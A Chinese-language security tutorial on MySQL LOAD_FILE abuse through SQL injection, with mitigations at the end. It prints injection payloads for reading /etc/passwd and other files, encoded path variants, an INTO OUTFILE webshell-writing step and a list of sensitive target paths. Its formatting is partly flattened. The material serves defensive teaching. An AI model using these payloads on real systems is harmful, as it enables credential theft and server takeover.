⚠️ 僅供安全研究與防禦加固參考,嚴禁用於非授權測試。
LOAD_FILE() 是 MySQL 讀取服務器本地文件內容的函數,若配置不當(擁有 FILE 權限、secure_file_priv 未限制),攻擊者可通過 SQL 注入竊取 /etc/passwd、配置文件、源碼,甚至配合 INTO OUTFILE 寫入 WebShell 獲取服務器控制權。本文複現利用鏈並給出修復方案。
FILE 權限(GRANT FILE ON *.* TO 'user'@'%';)。mysql)對目標文件有讀權限(chmod a+r)。max_allowed_packet 限制(預設 4MB/64MB)。secure_file_priv 非空時,僅允許讀取該目錄下文件;為空則無限制(極度危險)。SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:/Windows/win.ini');
LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)) → /etc/passwdLOAD_FILE(0x2F6574632F706173737764)-- 假設原查詢:SELECT * FROM article WHERE id=$id
-- 構造 $id = -1 UNION SELECT 1,1,LOAD_FILE('/etc/passwd'),1,1
-- 需匹配原查詢列數
SELECT '' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY '';
前置條件:
mysql 用戶可寫。phpinfo()、報錯回顯、LOAD_FILE 讀配置獲取)。secure_file_priv 未限制或目錄在允許範圍內。eventidLOAD_FILE(CHAR(...config.php...)) INTO OUTFILE '/home/4ngel/soft/cfg.txt'LOAD_FILE(CHAR(.../etc/passwd...)) INTO OUTFILE '/home/4ngel/soft/etcpwd.txt'/soft/ 下載導出文件,獲取 DB 憑證、系統用戶雜湊。| 類型 | Linux/Unix 路徑 | Windows 路徑 |
|---|---|---|
| Web 配置 | /etc/httpd/conf/httpd.conf, /usr/local/apache/conf/httpd.conf, /usr/local/nginx/conf/nginx.conf | C:/Apache/conf/httpd.conf, C:/nginx/conf/nginx.conf |
| PHP 配置 | /usr/local/php/lib/php.ini | C:/php/php.ini |
| MySQL 配置 | /etc/my.cnf | C:/Program Files/MySQL/my.ini |
| 系統信息 | /etc/passwd, /etc/shadow, /etc/hosts, /proc/version | C:/Windows/system32/drivers/etc/hosts |
| 應用配置 | /var/www/html/config.php, /home/user/app/.env | D:/wwwroot/config.php |
| FTP/郵件 | /etc/vsftpd.conf, /etc/postfix/main.cf | C:/Program Files/.../ServUDaemon.ini |
secure_file_priv=/var/lib/mysql-files/ 限制讀寫目錄,並確保該目錄不可經由 Web 訪問。PreparedStatement、ORM 參數綁定。LOAD_FILE、INTO OUTFILE、UNION SELECT 等特徵。display_errors=Off,避免洩露物理路徑、表結構。SQL 注入根源在於「數據與代碼未分離」。參數化查詢 + 最小權限 + 文件系統隔離,三重防線才能徹底阻斷 LOAD_FILE 攻擊鏈。